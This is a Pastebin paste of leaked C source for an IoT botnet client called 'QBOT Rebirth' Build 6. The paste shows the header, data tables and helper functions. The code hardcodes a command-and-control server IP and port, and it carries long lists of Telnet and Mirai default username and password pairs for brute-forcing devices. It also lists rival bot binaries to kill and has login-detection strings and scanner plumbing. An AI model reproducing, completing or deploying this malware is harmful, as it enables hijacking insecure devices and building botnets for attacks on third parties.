KekSec

QBOT LEAK Rebirthv6 - by SynthMesc

Mar 27th, 2017
1,436
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 71.97 KB | None | 0 0
  1. /*
  2. QBOT LEAK BY FREAK/SYNTHMESC (same person)
  3.        (\_          _/)
  4.        )  (        )  (
  5.       (    (      )    )
  6.        )_(\ \.--./ /)_(
  7.          `)` 6  6 '('
  8.           /        \
  9.      jgs (  )    (  )
  10.           `(_c__c_)`
  11.              `--`
  12.  
  13.        (\_            _/)
  14.        )  (          )  (
  15.       (    (        )    )
  16.        )    (      )    (
  17.        (    (      )    )
  18.         \_ (\\.--.//) _/
  19.           \)` 6  6 '(/
  20.            /        \
  21.       jgs (  )    (  )
  22.            `(_c__c_)`
  23.               `--`
  24.  
  25.       _/\_       __/\__
  26.       ) . (_    _) .' (
  27.       `) '.(   ) .'  (`
  28.        `-._\(_ )/__(~`
  29.            (ovo)-.__.--._
  30.            )             `-.______
  31.   jgs/VK  /                       `---._
  32.          ( ,// )                        \
  33.           `''\/-.                        |
  34.                  \                       |
  35.                  |                       |
  36.  
  37.                                       _.--"""--,
  38.                                     .'          `\
  39.   .-""""""-.                      .'              |
  40.  /          '.                   /            .-._/
  41. |             `.                |             |
  42.  \              \          .-._ |          _   \
  43.   `""'-.         \_.-.     \   `          ( \__/
  44.         |             )     '=.       .,   \  
  45.        /             (         \     /  \  /
  46.      /`               `\        |   /    `'
  47.      '..-`\        _.-. `\ _.__/   .=.
  48.           |  _    / \  '.-`    `-.'  /
  49.           \_/ |  |   './ _     _  \.'
  50.                '-'    | /       \ |  
  51.                       |  .-. .-.  |
  52.                       \ / o| |o \ /
  53.                        |   / \   |
  54.                       / `"`   `"` \
  55.                      /             \
  56.                     | '._.'         \
  57.                     |  /             |
  58.                      \ |             |
  59.                       ||    _    _   /
  60.                       /|\  (_\  /_) /
  61.               jgs     \ \'._  ` '_.'
  62.  
  63. */
  64. /*
  65. Rebirth Is an ongoing project, that will have many builds, and updates.
  66. This Client is being constantly worked on.
  67. Anyone that bought Rebirth Legitly will have access to the builds, and updates.
  68. For anyone that leeches, or leaks, well fuck you.
  69. */
  70. /*
  71. *** Rebirth Client ***
  72.    *** Build 6 ***
  73.    
  74. Made By ~B1NARY~
  75. Made Date: 11/22/16
  76.  
  77. Xmpp: B1NARY~
  78. Instragram: @arman.emoji
  79. Skype: b1narythag0d
  80.  
  81. */
  82. /*
  83. Things Coming to Build 6.
  84.  
  85. [+] Working SSH Scanner.
  86. [+] More Ranges, in The Python Scanner.
  87. [+] Better Ranges, in the ipstates. <<
  88. [+] IoT Scanner Set To Mirai ranges, and Telnet_Passwords. <<
  89. [+] And More.
  90. */
  91. #include <stdlib.h>
  92. #include <stdarg.h>
  93. #include <stdio.h>
  94. #include <sys/socket.h>
  95. #include <sys/types.h>
  96. #include <netinet/in.h>  
  97. #include <arpa/inet.h>
  98. #include <netdb.h>
  99. #include <signal.h>                                                      
  100. #include <strings.h>                                                      
  101. #include <sys/utsname.h>
  102. #include <unistd.h>
  103. #include <fcntl.h>
  104. #include <errno.h>
  105. #include <netinet/ip.h>
  106. #include <netinet/udp.h>
  107. #include <netinet/tcp.h>
  108. #include <sys/wait.h>
  109. #include <sys/ioctl.h>
  110. #include <net/if.h>
  111. #include <time.h>
  112. #include <dirent.h>
  113. #include <limits.h>
  114. #include <sys/stat.h>
  115. #include <sys/time.h>
  116. #include <string.h>
  117. #include <stdint.h>
  118. #include <stdio.h>
  119. #include <sys/param.h>
  120. #include <sys/time.h>
  121. //#include <libbb.h>
  122.  
  123. #define PR_SET_NAME 15
  124. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  125. #define PAD_RIGHT 1
  126. #define PAD_ZERO 2
  127. #define PRINT_BUF_LEN 12
  128. #define CMD_IAC   255
  129. #define CMD_WILL  251
  130. #define CMD_WONT  252
  131. #define CMD_DO    253
  132. #define CMD_DONT  254
  133. #define OPT_SGA   3
  134. #define SOCKBUF_SIZE 1024
  135.  
  136.  
  137.  
  138. char *getBuild() {
  139.     #if defined(__x86_64__) || defined(_M_X64)
  140.     return "x86_64";
  141.     #elif defined(__i386) || defined(_M_IX86)
  142.     return "x86_32";
  143.     #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  144.     return "ARM-4";
  145.     #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  146.     return "ARM-5"
  147.     #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  148.     return "ARM-6";
  149.     #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  150.     return "MIPS";
  151.     #elif defined(__sh__)
  152.     return "SUPERH";
  153.     #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  154.     return "POWERPC";
  155.     #else
  156.     return "UNKNOWN";
  157.     #endif
  158. }
  159. const char *useragents[] = {
  160.     "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  161.     "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  162.     "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  163.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  164.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  165.     "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  166.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  167.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  168.     "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  169.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  170.     "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  171.     "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  172.     "wii libnup/1.0",
  173.     "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  174.     "PSP (PlayStation Portable); 2.00",
  175.     "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  176.     "Doris/1.15 [en] (Symbian)",
  177.     "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  178.     "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  179.     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  180.     "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  181.     "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  182.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  183.     "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  184.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  185.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  186.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  187.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  188.     "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  189.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  190.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  191.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  192.     "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  193.     "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  194.     "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  195.     "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  196. };
  197. struct telstate_t {
  198.         int fd;
  199.         unsigned int ip;
  200.         unsigned char state;
  201.         unsigned char complete;
  202.         unsigned char usernameInd;  /* username     */
  203.         unsigned char passwordInd;  /* password     */
  204.         unsigned char tempDirInd;   /* tempdir      */
  205.         unsigned int tTimeout;      /* totalTimeout */
  206.         unsigned short bufUsed;
  207.         char *sockbuf;
  208. };
  209. int initConnection();
  210. void makeRandomStr(unsigned char *buf, int length);
  211. int sockprintf(int sock, char *formatStr, ...);
  212. char *inet_ntoa(struct in_addr in);
  213. int mainCommSock = 0, currentServer = -1;
  214. uint32_t *pids;
  215. uint32_t scanPid;
  216. uint64_t numpids = 0;
  217. struct in_addr ourIP;
  218. unsigned char macAddress[6] = {0};
  219.  
  220.  
  221. unsigned char *commServer[] = { "162.250.127.133":23" };
  222. char *Busybox_Payload = "";
  223. char *Payload = "";
  224.  
  225.  
  226. char *Telnet_Usernames[] = {
  227.     "telnet\0", //telnet:telnet
  228.     "root\0", //root:root
  229.     "admin\0", //admin:toor
  230.     "user\0", //user:admin
  231.     "login\0", //login:user
  232.     "guest\0", //guest:guest
  233.     "support\0" //support:login
  234.     "root\0", //root:netgear1
  235.     "root\0", //root:maxided
  236.     "CISCO\0", //CISCO:CISCO
  237.     "oracle\0", //oracle:oracle
  238.     "tim\0", //tim:tim
  239.     };
  240. char *Telnet_Passwords[] = {
  241.     "telnet\0", //telnet:telnet
  242.     "root\0", //root:root
  243.     "toor\0", //admin:toor
  244.     "admin\0", //user:admin
  245.     "user\0", //login:user
  246.     "guest\0", //guest:guest
  247.     "login\0", //support:login
  248.     "changeme\0", //(none):changeme
  249.     "1234\0", //(none):1234
  250.     "12345\0", //(none):12345
  251.     "123456\0", //(none):123456
  252.     "default\0", //(none):default
  253.     "pass\0", //(none):pass
  254.     "password\0", //(none):password
  255.     "support\0", //(none):support
  256.     "\0" //(none):(none)
  257.     "maxided\0" //root:maxided
  258.     "oracle\0", //oracle:oracle
  259.     "tim\0", //tim:tim
  260.     };
  261. /*
  262. char *Mirai_Usernames[] = {"root\0", "admin\0", "support\0", "user\0", "guest\0", "admin1\0", "administrator\0", "Administrator\0", "666666\0", "888888\0", "ubnt\0", "tech\0", "mother\0", "service\0", "supervisor\0"};
  263. char *Mirai_Passwords[] = {"xc3511\0", "vizxv\0", "admin\0", "888888\0", "xmhdipc\0", "default\0", "juantech\0", "123456\0", "54321\0", "support\0", "\0", "root\0", "12345\0", "user\0", "pass\0", "admin1234\0", "1111\0", "smcadmin\0", "1234\0", "666666\0", "password\0", "klv123\0", "service\0", "supervisor\0", "ubnt\0", "klv1234\0", "Zte521\0", "hi3518\0", "jvbzd\0", "anko\0", "zlxx.\0", "7ujMko0vizxv\0", "7ujMko0admin\0", "system\0", "ikwb\0", "dreambox\0", "realtek\0", "00000000\0", "1111111\0", "meinsm\0", "fucker\0"};
  264. */
  265. /*
  266. char *Mirai_Usernames[] = {"root\0", "root\0", "root\0", "admin\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "support\0", "root\0", "admin\0", "root\0", "root\0", "user\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "admin\0", "root\0", "root\0", "root\0", "root\0", "Administrator\0", "service\0", "supervisor\0", "guest\0", "guest\0", "admin1\0", "administrator\0", "666666\0", "888888\0", "ubnt\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "admin\0"};
  267. char *Mirai_Passwords[] = {"xc3511\0", "vizxv\0", "admin\0", "admin\0", "888888\0", "xmhdipc", "default\0", "juantech\0", "123456\0", "54321\0", "support\0", "\0", "password\0", "root\0", "12345\0", "user\0", "\0", "pass\0", "admin1234\0", "1111\0", "smcadmin\0", "1111\0", "666666\0", "password\0", "1234\0", "klv123", "admin\0", "service\0", "supervisor\0", "guest\0", "12345\0", "password\0", "1234\0", "666666\0", "888888\0", "ubnt\0", "klv1234\0", "Zte521\0", "hi3518\0", "jvbzd\0", "anko\0", "zlxx.\0", "zlxx.\0", "7ujMko0vizxv\0", "7ujMko0admin\0", "system\0", "ikwb\0", "dreambox\0", "user\0", "realtek\0", "00000000\0", ""};
  268. */
  269. char *Mirai_Usernames[] = {
  270. "root\0", //root:xc3511
  271. "root\0", //root:vizxv
  272. "root\0", //root:admin
  273. "admin\0", //admin:admin
  274.  
  275. "root\0", //root:888888
  276. "root\0", //root:xmhdipc
  277. "root\0", //root:default
  278. "root\0", //root:juantech
  279.  
  280. "root\0", //root:123456
  281. "root\0", //root:54321
  282. "support\0", //support:support
  283. "root\0", //root:(none)
  284.  
  285. "admin\0", //admin:password
  286. "root\0", //root:root
  287. "root\0", //root:12345
  288. "user\0", //user:user
  289.  
  290. "admin\0", //admin:(none)
  291. "root\0", //root:pass
  292. "admin\0", //admin:admin1234
  293. "root\0", //root:1111
  294.  
  295. "admin\0", //admin:smcadmin
  296. "admin\0", //admin:1111
  297. "root\0", //root:666666
  298. "root\0", //root:password
  299.  
  300. "root\0", //root:1234
  301. "root\0", //root:klv123
  302. "Administrator\0", //Administrator:admin
  303. "service\0", //service:service
  304.  
  305. "supervisor\0", //supervisor:supervisor
  306. "guest\0", //guest:guest
  307. "guest\0", //guest:12345
  308. "guest\0", //guest:12345
  309.  
  310. "admin1\0", //admin1:password
  311. "administrator\0", //administrator:1234
  312. "666666\0", //666666:666666
  313. "888888\0", //888888:888888
  314. "ubnt\0", //ubnt:ubnt
  315.  
  316. "klv1234\0", //root:klv1234
  317. "Zte521\0", //root:Zte521
  318. "hi3518\0", //root:hi3518
  319. "jvbzd\0", //root:jvbzd
  320.  
  321. "anko\0", //root:anko
  322. "zlxx\0", //root:zlxx
  323. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  324. "7ujMko0admin\0", //root:7ujMko0admin
  325.  
  326. "system\0", //root:system
  327. "ikwb\0", //root:ikwb
  328. "dreambox\0", //root:dreambox
  329. "user\0", //root:user
  330.  
  331. "realtek\0", //root:realtek
  332. "00000000\0", //root:00000000
  333. "1111111\0", //admin:1111111
  334. "1234\0", //admin:1234
  335.  
  336. "12345\0", //admin:12345
  337. "54321\0", //admin:54321
  338. "123456\0", //admin:123456
  339. "7ujMko0admin\0", //admin:7ujMko0admin
  340.  
  341. "1234\0", //admin:1234
  342. "pass\0", //admin:pass
  343. "meinsm\0", //admin:meinsm
  344. "tech\0", //tech:tech
  345.  
  346. "fucker\0", //mother:fucker
  347. };
  348. char *Mirai_Passwords[] = {
  349. "xc3511\0", //root:xc3511
  350. "vizxv\0", //root:vizxv
  351. "admin\0", //root:admin
  352. "admin\0", //admin:admin
  353.  
  354. "888888\0", //root:888888
  355. "xmhdipc\0", //root:xmhdipc
  356. "default\0", //root:default
  357. "juantech\0", //root:juantech
  358.  
  359. "123456\0", //root:123456
  360. "54321\0", //root:54321
  361. "support\0", //support:support
  362. "\0", //root:(none)
  363.  
  364. "password\0", //admin:password
  365. "root\0", //root:root
  366. "12345\0", //root:12345
  367. "user\0", //user:user
  368.  
  369. "\0", //admin:(none)
  370. "pass\0", //root:pass
  371. "admin1234\0", //admin:admin1234
  372. "1111\0", //root:1111
  373.  
  374. "smcadmin\0", //admin:smcadmin
  375. "1111\0", //admin:1111
  376. "666666\0", //root:666666
  377. "password\0", //root:password
  378.  
  379. "1234\0", //root:1234
  380. "klv123\0", //root:klv123
  381. "admin\0", //Administrator:admin
  382. "service\0", //service:service
  383.  
  384. "supervisor\0", //supervisor:supervisor
  385. "guest\0", //guest:guest
  386. "12345\0", //guest:12345
  387. "12345\0", //guest:12345
  388.  
  389. "password\0", //admin1:password
  390. "1234\0", //administrator:1234
  391. "666666\0", //666666:666666
  392. "888888\0", //888888:888888
  393. "ubnt\0", //ubnt:ubnt
  394.  
  395. "klv1234\0", //root:klv1234
  396. "Zte521\0", //root:Zte521
  397. "hi3518\0", //root:hi3518
  398. "jvbzd\0", //root:jvbzd
  399.  
  400. "anko\0", //root:anko
  401. "zlxx\0", //root:zlxx
  402. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  403. "7ujMko0admin\0", //root:7ujMko0admin
  404.  
  405. "system\0", //root:system
  406. "ikwb\0", //root:ikwb
  407. "dreambox\0", //root:dreambox
  408. "user\0", //root:user
  409.  
  410. "realtek\0", //root:realtek
  411. "00000000\0", //root:00000000
  412. "1111111\0", //admin:1111111
  413. "1234\0", //admin:1234
  414.  
  415. "12345\0", //admin:12345
  416. "54321\0", //admin:54321
  417. "123456\0", //admin:123456
  418. "7ujMko0admin\0", //admin:7ujMko0admin
  419.  
  420. "1234\0", //admin:1234
  421. "pass\0", //admin:pass
  422. "meinsm\0", //admin:meinsm
  423. "tech\0", //tech:tech
  424.  
  425. "fucker\0", //mother:fucker
  426. };
  427. char *SSH_Usernames[] = {"root\0"};
  428. char *SSH_Passwords[] = {""};
  429.  
  430. char *Bot_Killer_Binarys[] = {
  431.     "mips",
  432.     "mipsel",
  433.     "sh4",
  434.     "x86",
  435.     "i686",
  436.     "ppc",
  437.     "i586",
  438.     "i586",
  439.     "jackmymips",
  440.     "jackmymips64",
  441.     "jackmymipsel",
  442.     "jackmysh2eb",
  443.     "jackmysh2elf",
  444.     "jackmysh4",
  445.     "jackmyx86",
  446.     "jackmyarmv5",
  447.     "jackmyarmv4tl",
  448.     "jackmyarmv4",
  449.     "jackmyarmv6",
  450.     "jackmyi686",
  451.     "jackmypowerpc",
  452.     "jackmypowerpc440fp",
  453.     "jackmyi586",
  454.     "jackmym68k",
  455.     "jackmysparc",
  456.     "hackmymips",
  457.     "hackmymipsel",
  458.     "hackmysh4",
  459.     "hackmyx86",
  460.     "hackmyarmv6",
  461.     "hackmyi686",
  462.     "hackmypowerpc",
  463.     "hackmyi586",
  464.     "hackmym68k",
  465.     "hackmysparc",
  466.     "arm"
  467.     "armv5l"
  468.     "armv6l"
  469.     "b1",
  470.     "b2",
  471.     "b3",
  472.     "b4",
  473.     "b5",
  474.     "b6",
  475.     "b7",
  476.     "b8",
  477.     "b9",
  478.     "busyboxterrorist",
  479.     "DFhxdhdf",
  480.     "dvrHelper",
  481.     "FDFDHFC",
  482.     "FEUB",
  483.     "FTUdftui",
  484.     "GHfjfgvj",
  485.     "jackmyarmv5l",
  486.     "jackmyarmv6l",
  487.     "jackmyarv6",
  488.     "jackmymips",
  489.     "jackmymipsel",
  490.     "jackmyx86",
  491.     "jhUOH",
  492.     "JIPJIPJj",
  493.     "JIPJuipjh",
  494.     "kmyx86_64",
  495.     "lolmipsel",
  496.     "mips",
  497.     "mipsel",
  498.     "RYrydry",
  499.     "telarmv6l",
  500.     "telmips",
  501.     "telmipsel",
  502.     "telx86",
  503.     "TwoFacearmv61",
  504.     "TwoFacei586",
  505.     "TwoFacei686",
  506.     "TwoFacem86k",
  507.     "TwoFacemips",
  508.     "TwoFacemipsel",
  509.     "TwoFacepowerpc",
  510.     "TwoFacesh4",
  511.     "TwoFacesparc",
  512.     "TwoFacex86_64",
  513.     "UYyuyioy",
  514.     "wget",
  515.     "x86_64",
  516.     "XDzdfxzf",
  517.     "xxb1",
  518.     "xxb2",
  519.     "xxb3",
  520.     "xxb4",
  521.     "xxb5",
  522.     "xxb6",
  523.     "xxb7",
  524.     "xxb8",
  525.     "xxb9",
  526.     "sh",
  527.     "1",
  528.     "2",
  529.     "3",
  530.     "4",
  531.     "5",
  532.     "6",
  533.     "7",
  534.     "8",
  535.     "9",
  536.     "10",
  537.     "11",
  538.     "12",
  539.     "13",
  540.     "14",
  541.     "15",
  542.     "16",
  543.     "17",
  544.     "18",
  545.     "19",
  546.     "20"
  547.     };
  548.  
  549.  
  550. char* advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", (char*)0};                                                                                  
  551. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};                                                       
  552. char* successes[] = {"busybox", "$", "#", "shell", "dvrdvs", (char*)0};                                                                                                    
  553. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  554.                    
  555. #define PHI 0x9e3779b9
  556. static uint32_t Q[4096], c = 362436;
  557. void init_rand(uint32_t x) {
  558.         int i;
  559.         Q[0] = x;
  560.         Q[1] = x + PHI;
  561.         Q[2] = x + PHI + PHI;
  562.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  563. }
  564. uint32_t rand_cmwc(void) {
  565.         uint64_t t, a = 18782LL;
  566.         static uint32_t i = 4095;
  567.         uint32_t x, r = 0xfffffffe;
  568.         i = (i + 1) & 4095;
  569.         t = a * Q[i] + c;
  570.         c = (uint32_t)(t >> 32);
  571.         x = t + c;
  572.         if (x < c) {
  573.                 x++;
  574.                 c++;
  575.         }
  576.         return (Q[i] = r - x);
  577. }
  578. int contains_string(char* buffer, char** strings) {
  579.         int num_strings = 0, i = 0;
  580.         for(num_strings = 0; strings[++num_strings] != 0; );
  581.         for(i = 0; i < num_strings; i++) {
  582.                 if(strcasestr(buffer, strings[i])) {
  583.                         return 1;
  584.                 }
  585.         }
  586.         return 0;
  587. }
  588. int contains_success(char* buffer) {
  589.         return contains_string(buffer, successes);
  590. }
  591. int contains_fail(char* buffer) {
  592.         return contains_string(buffer, fails);
  593. }
  594. int contains_response(char* buffer) {
  595.         return contains_success(buffer) || contains_fail(buffer);
  596. }
  597. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {      
  598.         fd_set read_set;
  599.         struct timeval tv;
  600.         tv.tv_sec = 0;
  601.         tv.tv_usec = timeout_usec;
  602.         FD_ZERO(&read_set);
  603.         FD_SET(fd, &read_set);
  604.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  605.         return 0;
  606.         return recv(fd, buffer, buf_size, 0);
  607. }
  608. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  609.         int num_bytes, i;
  610.         memset(buffer, 0, buf_size);
  611.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  612.         if(buffer[0] == 0xFF) {
  613.                 negotiate(fd, buffer, 3);
  614.         }
  615.  
  616.         if(contains_string(buffer, strings)) {
  617.                 return 1;
  618.         }
  619.  
  620.         return 0;
  621. }
  622. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  623.         struct in_addr in_addr_ip;
  624.         in_addr_ip.s_addr = telstate->ip;
  625.         return inet_ntoa(in_addr_ip);
  626. }
  627. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  628.         if(new_state == 0) {
  629.                 close(telstate->fd);
  630.         }
  631.         telstate->tTimeout = 0;
  632.         telstate->state = new_state;
  633.         memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  634. }
  635. void reset_telstate(struct telstate_t* telstate) { // reset
  636.         advance_telstate(telstate, 0);
  637.         telstate->complete = 1;
  638. }
  639. void trim(char *str) {
  640.         int i;
  641.         int begin = 0;
  642.         int end = strlen(str) - 1;
  643.  
  644.         while (isspace(str[begin])) begin++;
  645.  
  646.         while ((end >= begin) && isspace(str[end])) end--;
  647.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  648.  
  649.         str[i - begin] = '\0';
  650. }
  651. static void printchar(unsigned char **str, int c) {
  652.         if (str) {
  653.                 **str = c;
  654.                 ++(*str);
  655.         }
  656.         else (void)write(1, &c, 1);
  657. }
  658. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  659.         register int pc = 0, padchar = ' ';
  660.         if (width > 0) {
  661.                 register int len = 0;
  662.                 register const unsigned char *ptr;
  663.                 for (ptr = string; *ptr; ++ptr) ++len;
  664.                 if (len >= width) width = 0;
  665.                 else width -= len;
  666.                 if (pad & PAD_ZERO) padchar = '0';
  667.         }
  668.         if (!(pad & PAD_RIGHT)) {
  669.                 for ( ; width > 0; --width) {
  670.                         printchar (out, padchar);
  671.                         ++pc;
  672.                 }
  673.         }
  674.         for ( ; *string ; ++string) {
  675.                 printchar (out, *string);
  676.                 ++pc;
  677.         }
  678.         for ( ; width > 0; --width) {
  679.                 printchar (out, padchar);
  680.                 ++pc;
  681.         }
  682.         return pc;
  683. }
  684. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  685.         unsigned char print_buf[PRINT_BUF_LEN];
  686.         register unsigned char *s;
  687.         register int t, neg = 0, pc = 0;
  688.         register unsigned int u = i;
  689.         if (i == 0) {
  690.                 print_buf[0] = '0';
  691.                 print_buf[1] = '\0';
  692.                 return prints (out, print_buf, width, pad);
  693.         }
  694.         if (sg && b == 10 && i < 0) {
  695.                 neg = 1;
  696.                 u = -i;
  697.         }
  698.  
  699.         s = print_buf + PRINT_BUF_LEN-1;
  700.         *s = '\0';
  701.         while (u) {
  702.                 t = u % b;
  703.                 if( t >= 10 )
  704.                 t += letbase - '0' - 10;
  705.                 *--s = t + '0';
  706.                 u /= b;
  707.         }
  708.         if (neg) {
  709.                 if( width && (pad & PAD_ZERO) ) {
  710.                         printchar (out, '-');
  711.                         ++pc;
  712.                         --width;
  713.                 }
  714.                 else {
  715.                         *--s = '-';
  716.                 }
  717.         }
  718.  
  719.         return pc + prints (out, s, width, pad);
  720. }
  721. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  722.         register int width, pad;
  723.         register int pc = 0;
  724.         unsigned char scr[2];
  725.         for (; *format != 0; ++format) {
  726.                 if (*format == '%') {
  727.                         ++format;
  728.                         width = pad = 0;
  729.                         if (*format == '\0') break;
  730.                         if (*format == '%') goto out;
  731.                         if (*format == '-') {
  732.                                 ++format;
  733.                                 pad = PAD_RIGHT;
  734.                         }
  735.                         while (*format == '0') {
  736.                                 ++format;
  737.                                 pad |= PAD_ZERO;
  738.                         }
  739.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  740.                                 width *= 10;
  741.                                 width += *format - '0';
  742.                         }
  743.                         if( *format == 's' ) {
  744.                                 register char *s = (char *)va_arg( args, int );
  745.                                 pc += prints (out, s?s:"(null)", width, pad);
  746.                                 continue;
  747.                         }
  748.                         if( *format == 'd' ) {
  749.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  750.                                 continue;
  751.                         }
  752.                         if( *format == 'x' ) {
  753.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  754.                                 continue;
  755.                         }
  756.                         if( *format == 'X' ) {
  757.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  758.                                 continue;
  759.                         }
  760.                         if( *format == 'u' ) {
  761.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  762.                                 continue;
  763.                         }
  764.                         if( *format == 'c' ) {
  765.                                 scr[0] = (unsigned char)va_arg( args, int );
  766.                                 scr[1] = '\0';
  767.                                 pc += prints (out, scr, width, pad);
  768.                                 continue;
  769.                         }
  770.                 }
  771.                 else {
  772. out:
  773.                         printchar (out, *format);
  774.                         ++pc;
  775.                 }
  776.         }
  777.         if (out) **out = '\0';
  778.         va_end( args );
  779.         return pc;
  780. }
  781. int zprintf(const unsigned char *format, ...) {
  782.         va_list args;
  783.         va_start( args, format );
  784.         return print( 0, format, args );
  785. }
  786. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  787.         va_list args;
  788.         va_start( args, format );
  789.         return print( &out, format, args );
  790. }
  791. int sockprintf(int sock, char *formatStr, ...) {
  792.         unsigned char *textBuffer = malloc(2048);
  793.         memset(textBuffer, 0, 2048);
  794.         char *orig = textBuffer;
  795.         va_list args;
  796.         va_start(args, formatStr);
  797.         print(&textBuffer, formatStr, args);
  798.         va_end(args);
  799.         orig[strlen(orig)] = '\n';
  800.         zprintf("%s\n", orig);
  801.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  802.         free(orig);
  803.         return q;
  804. }
  805. int wildString(const unsigned char* pattern, const unsigned char* string) {
  806.         switch(*pattern) {
  807.         case '\0': return *string;
  808.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  809.         case '?': return !(*string && !wildString(pattern+1, string+1));
  810.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  811.         }
  812. }
  813. int getHost(unsigned char *toGet, struct in_addr *i) {
  814.         struct hostent *h;
  815.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  816.         return 0;
  817. }
  818. void makeRandomStr(unsigned char *buf, int length) {
  819.         int i = 0;
  820.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  821. }
